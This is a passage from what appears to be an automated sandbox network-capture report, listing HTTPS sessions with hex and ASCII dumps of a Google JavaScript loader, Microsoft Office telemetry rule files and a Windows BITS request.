74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-17 21:20:33 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:34 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:34 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212034Z-164f84587bfdl84ghC1DFWbbhc000000053g000000003v1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:34 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:34 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212034Z-1866b5c5fbbfkdfghC1DFW4sv40000000400000000005my6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:34 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:34 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212034Z-16547b76f7fm8pcwhC1DFWaxcc00000002ug00000000rvp7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:34 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:34 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212034Z-164f84587bf28gjzhC1DFW35kg00000004q000000000q147 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:34 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212034Z-16547b76f7f6nr89hC1DFWz7ug000000012000000000sbbw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49802	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:34 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 21:20:34 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=242690 Date: Sun, 17 Nov 2024 21:20:34 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:35 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212035Z-16547b76f7ftnm6xhC1DFW9c8c00000004b000000000r954 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 